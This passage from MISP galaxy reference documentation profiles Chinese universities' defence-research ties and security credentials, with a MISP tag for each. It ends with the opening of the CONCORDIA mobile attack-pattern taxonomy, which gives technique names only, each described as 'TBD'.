SYLU is a civilian university that specialises in defence research. The university’s primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi’an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND. SYLU is a member of the B8 Cooperation Innovation Alliance (兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (辽宁军民融合产教联盟) and SYLU’s president doubles as chairman of the alliance. This indicates close ties between SYLU and China’s arms industry.

The tag is: misp-galaxy:china-defence-universities="Shenyang Ligong University (沈阳理工大学)"

Shenzhen University (深圳大学)

SZU is the primary university in China’s rapidly growing technology hub, Shenzhen. The university does not appear to engage in high levels of defence research outside of its national defence laboratory on automatic target recognition. The laboratory was founded in 2001, is overseen by the PLA and SASTIND, and is headed by the university’s former president.

The tag is: misp-galaxy:china-defence-universities="Shenzhen University (深圳大学)"
Shijiazhuang Tiedao University (石家庄铁道大学)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College. Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university’s involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research. STDU is home to the National Defense Transportation Research Institute (国防交通研究所), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (复杂网络与可视化研究所), which develops military-use information processing software including remote-control systems for aerospace applications.

The tag is: *misp-galaxy:china-defence-universities*="Shijiazhuang Tiedao University (石家庄铁道大学)"

Table 951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sichuan University (四川大学)

Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research. The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC’s primary nuclear warheads research facility. SCU’s Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility. A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit ‘likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University’s Information Security and Network Attack and Defense Laboratory (信息安全及网络攻防实验室).’

The tag is: *misp-galaxy:china-defence-universities*="Sichuan University (四川大学)"

Table 952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Soochow University (苏州大学)

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence
industry agency SASTIND since 2016. This arrangement is designed to expand the university’s involvement in defense-related research and training. The university has five designated defense disciplines, centered around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defense links, as it has become a major teaching and research base for the nuclear industry. Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the ‘Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.’

The tag is: *misp-galaxy:*china-defence-universities="Soochow University (苏州大学)"

### South China University of Technology (华南理工大学)

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university’s involvement in defense-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defense technology projects. As a result of the university’s placement under joint construction and its secret-level security credentials, SCUT’s involvement in defense research is likely to grow in coming years. Since 2008, the university has hosted a defense research laboratory on materials science. The lab was initially run by the university’s president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (广州华南脑控智能科技公司).

The tag is: *misp-galaxy:*china-defence-universities="South China University of Technology (华南理工大学)"

### Southeast University (东南大学)

SEU is a leading Chinese university that engages in high levels of defense research. In 2015, the university undertook RMB180m (AUD37m) of defense research projects, placing it among the Ministry of Education universities most involved in defense research. That figure has almost certainly grown since 2016, when SEU came under a ‘joint construction’ agreement between the Ministry of Education and defense industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects. The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering (网络空间安全学院) have been funded by the MSS, China’s civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits.

---

330
and works with PLA cyber security officers. SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy’s Submarine Academy visited SEU in 2017. SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China’s leading manufacturer of military electronics.

The tag is: misp-galaxy:china-defence-universities="Southeast University (东南大学)"

Table 955. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Southwest University of Science and Technology (西南科技大学)

SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China’s nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research. SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university’s main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste. SWUST has worked closely with the Chinese Academy of Engineering Physics (China’s nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province’s ‘Civil-military Integration Institute’ is a testament to its integration with the military and defence industry.

The tag is: misp-galaxy:china-defence-universities="Southwest University of Science and Technology (西南科技大学)"

Table 956. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Space Engineering University (中国人民解放军战略支援部队航天工程大学)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (装备学院). SEU describes itself as a ‘comprehensive university that trains talents for space command management and engineering.’ It is intended to serve as the ‘cradle of the new PLA’s space talent
training.’ The SEU is subordinate to and supports the PLA Strategic Support Force’s Space Systems Department (航天系统部), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department. The SEU offers degree programs at the undergraduate, master’s, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors. Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.

The tag is: misp-galaxy:china-defence-universities="Space Engineering University (中国人民解放军战略支援部队航天工程大学)"

Table 957. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unitracker.aspi.org.au/universities/space-engineering-university">https://unitracker.aspi.org.au/universities/space-engineering-university</a></td>
</tr>
</tbody>
</table>

**Special Police Academy (特警学院)**

SPA is made up of departments for training, political work and logistics. As such, SPA engages in little defence research and focuses its activities on training special operations paramilitary troops in command processes.

The tag is: misp-galaxy:china-defence-universities="Special Police Academy (中国武装警察部队特种警察学院)"

Table 958. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Sun Yat-sen University (中山大学)**

SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it came under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU's involvement in the defence industry and defence research is growing. The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million). SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (国家超级计算广州中心), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world’s fastest from 2013 to 2015. Aside from the supercomputer center, SYSU’s Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology. In 2010, the university established a State Secrets Academy (国家保密学院),
serving as the third university in China to establish such an institute in partnership with China’s National Administration of State Secrets Protection (国家保密局). The Institute carries out research and training on the protection of state secrets.

The tag is: misp-galaxy:china-defence-universities=“Sun Yat-sen University (中山大学)"

### Tianjin Polytechnic University (天津工业大学)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university’s development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects. Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU’s School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China’s textile industry.

The tag is: misp-galaxy:china-defence-universities=“Tianjin Polytechnic University (天津工业大学)"

### Tianjin University (天津大学)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of ‘secret’. It hosts two defence laboratories, working on optoelectronics and propellants. In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team. TJU carries out research for the Ministry of State Security (MSS), China’s civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.
Tongji University (同济大学)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea geology, which plays an important role in China’s deep-sea observation and serves as a significant platform for the country’s marine strategy. The university’s involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China’s marine industry. Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

Tsinghua University (清华大学)

Tsinghua University is considered China’s leading university in science and technology. Often characterized as ‘China’s MIT,’ Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China’s C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields. Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its ‘fine tradition’ of serving China’s national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector. Tsinghua’s defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science. The university trains students for China’s nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese...
Academy of Engineering Physics (CAEP)—China’s nuclear weapons program. In 2016, CAEP’s Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing. Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government’s National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA’s Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

The tag is: misp-galaxy:china-defence-universities="Tsinghua University (清华大学)"

Table 963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**University of Electronic Science and Technology of China (电子科技大学)**

UESTC was established in 1961 as one of China’s first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military’s leading electronics manufacturer, China Electronics Technology Group Corporation (CETC). The university is one of China’s leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them. UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy’s aircraft carrier program. UESTC’s defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectronic imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million). UESTC’s research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps. UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC’s primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to develop UESTC’s capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at
CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

The tag is: **misp-galaxy:china-defence-universities**="University of Electronic Science and Technology of China (电子科技大学)"

**Table 964. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**University of International Relations (国际关系学院)**

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a ‘national key university’, and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education’s list of subordinate universities. Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (中国现代国际关系研究学院). They include Geng Huichang (耿惠昌), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR’s American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate. UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC’s views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence. The university’s Hangzhou campus, also known as the Zhejiang Second People’s Police School, may carry out more practical training of MSS officers and has been described on a local government website as ‘specialising in training special talent’. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

The tag is: **misp-galaxy:china-defence-universities**="University of International Relations (国际关系学院)"

**Table 965. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**University of Science and Technology Beijing (北京科技大学)**

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research. USTB is known as the ‘cradle of steel’ for its training and research on metallurgy. The university’s defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates.
The head of USTB’s Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team. The university holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

The tag is: `misp-galaxy:china-defence-universities="University of Science and Technology Beijing (北京科技大学)"`

**Table 966. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### University of Science and Technology of China (中国科学技术大学)

The University of Science and Technology of China is among China’s most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue “even more outstanding achievements in teaching and innovation.” It is a member of the C9 League and in the “211 Project” and “985 Project.” While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

The tag is: `misp-galaxy:china-defence-universities="University of Science and Technology of China (中国科学技术大学)"`

**Table 967. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### University of Shanghai for Science and Technology (上海理工大学)

USST describes itself as a ‘university with defence characteristics’. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016. It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million). SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university’s defence
research focuses on these areas. In 2017, the university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

The tag is: misp-galaxy:china-defence-universities="University of Shanghai for Science and Technology (上海理工大学)"

Table 968. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**University of South China (南华大学)**

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate. USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

The tag is: misp-galaxy:china-defence-universities="University of South China (南华大学)"

Table 969. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Wuhan University (武汉大学)**

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’. WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system. Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.
**Wuhan University of Technology (武汉理工大学)**

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials. The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (空军级军民融合式空防工程建设科技创新平台合作). The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (空军级空防工程建设科技创新平台), with ‘the goal of innovating mutually beneficial technologies.’

**Xi’an Jiaotong University (西安交通大学)**

XJTU is subordinate to the Ministry of Education. It is also supervised by SASTIND as part of a program to develop defense research capabilities within Chinese universities. The university describes its strategy as being ‘based in Shaanxi, geared toward the needs of the nation, and serving the national defense industry.’ The university is advanced in its implementation of military-civil fusion and has established strategic partnerships with China Aerospace Science and Technology Corporation, China Aerospace Science and Industry Corporation, and the Aero Engine Corporation of China. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.
Xi’an Technological University (西安工业大学)

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links. The university’s main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons systems. It holds secret-level security credentials. XATU is a member of the B8 Cooperation Innovation Alliance (B8協同創新同盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

The tag is: misp-galaxy:china-defence-universities="Xi’an Technological University (西安工业大学)"

Table 973. Table References

Links


Xi’an University of Posts and Telecommunications (西安邮电大学)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT’s faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering. XUPT maintains close links to China’s Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS’s local counterparts. In November 2013, XUPT partnered with the Shaanxi Municipal Government’s public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (公安部电子信息现场应用技术重点实验室). This was the first such joint laboratory that the MPS established with a university in any of China’s five north-western provinces. XUPT partnered with Xi’an’s Yanta District Public Security Bureau branch in November 2018, establishing the ‘Joint Laboratory for Smart Public Security Information Analysis and Applications’ (公安信息智能分析及应用联合实验室). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

The tag is: misp-galaxy:china-defence-universities="Xi’an University of Posts and Telecommunications (西安邮电大学)"

Table 974. Table References
**Xiamen University (厦大)**

XMU is one of China’s leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supervision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to ‘upgrade the university's ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.’ In 2017, XMU allegedly conspired with Huawei to steal trade secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company's solid-state drive computer storage technology. The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (福建立恒涂料有限公司) and People’s Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (海西立恒新材料研究院). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="Xiamen University (厦大)"*

---

**Xiangtan University (湘潭大学)**

XTU is a university in Chairman Mao Zedong’s hometown that has substantially expanded its participation in defence research in recent years. It has been subject to two ‘joint construction’ agreements between the Hunan Provincial Government and defence industry agency SASTIND that are designed to help the university ‘draw out its national defence characteristics’. In the university’s own words, its ‘military-civil fusion characteristics are becoming clearer with each day’, and it increased its spending on military-related projects by 60% from 2017 to 2018, spending over RMB31 million (AUD6 million) in 2018. XTU’s defence research covers areas including materials science, energy, measurement technology and electromagnetic waves. The university has developed partnerships with a major PLA nuclear technology research institution, Northwest Institute of Nuclear Technology, and several defence companies, including subsidiaries of arms manufacturer Norinco Group and defence aviation conglomerate Aero Engine Corporation of China. XTU holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Xiangtan University (湘潭大学)"*

---

Table 975. Table References

**Links**


Table 976. Table References

**Links**

Xidian University (西安电子科技大学)

Xidian University is among China's top universities for research on antennas, radar, electronic countermeasures and computer science. The university is subordinate to the Ministry of Education and is also jointly supervised by defence industry agency SASTIND and defence electronics conglomerate CETC. It claims it has 'made important contributions to military modernisation'. The university is closely tied to China's defense industry and the PLA. It runs at least five defence laboratories and partners with the PLA's signals intelligence organization. Xidian appears to be an important training ground for Chinese military hackers. According to Xidian’s party secretary, the university has had an ‘unbreakable bond with secret intelligence work since its beginning’. It also holds secret-level security credentials that allow it to work on classified weapons projects.

The tag is: misp-galaxy:china-defence-universities="Xidian University (西安电子科技大学)"

Yanshan University (燕山大学)

The university was formed as an offshoot of Harbin Institute of Technology, one of China’s top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND. YSU's Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university’s involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering. The university holds secret-level security credentials.

The tag is: misp-galaxy:china-defence-universities="Yanshan University (燕山大学)"

Yunnan Normal University (云南师范大学)

YNNU is a Chinese university subordinate to the Yunnan Provincial Government. Since 2013 it has also been supervised by the Ministry of Education. The university has been focused on training
teacher since its inception as the Kunming Teachers College (昆明师范学院) in 1950. YNNU now has a broader focus on a variety of humanities, social and natural science disciplines. YNNU is organised into numerous faculties, some of which are relevant for communist party cadre training:

The tag is: `misp-galaxy: china-defence-universities="Yunnan Normal University (云南师范大学)"`

---

**Zhejiang University (浙江大学)**

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepen the university’s involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects. The university's total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (国家重点实验室) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China’s civilian intelligence agency. ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S company Microsoft.

The tag is: `misp-galaxy: china-defence-universities="Zhejiang University (浙江大学)"`

---

**CONCORDIA Mobile Modelling Framework - Attack Pattern**

A list of Techniques in CONCORDIA Mobile Modelling Framework.

CONCORDIA Mobile Modelling Framework - Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Bernardo Santos, OsloMet (Norway) - Prof. Dr. Thanh van Do, Telenor Research (Norway) - Luis Barriga, Ericsson AB (Sweden) - Prof. Boning Feng, OsloMet (Norway) - Van Thuan Do, Wolffia AS (Norway) - Bruno Dzogovic, OsloMet (Norway) - Niels Jacot, Wolffia AS (Norway)
Active Scanning
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Active Scanning"`

Gather UE Identity Information
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Gather UE Identity Information"`

Gather UE Network Information
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Gather UE Network Information"`

Phishing for Information
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Phishing for Information"`

Social Media Reports
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Social Media Reports"`

Develop Capabilities
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Develop Capabilities"`

Obtain Capabilities
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Obtain Capabilities"`

Stage Capabilities
TBD
The tag is: `misp-galaxy:cmtmf-attack-pattern="Stage Capabilities"`
Compromise Accounts
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Compromise Accounts"

Acquire Infrastructure
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Acquire Infrastructure"

Compromise Infrastructure
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Compromise Infrastructure"

Exploit Public-Facing Application
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Exploit Public-Facing Application"

Malicious App from App Store
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Malicious App from App Store"

Malicious App from Third Party
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Malicious App from Third Party"

Masquerade as Legitimate Application
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Masquerade as Legitimate Application"

Exploit via Charging Station or PC
TBD
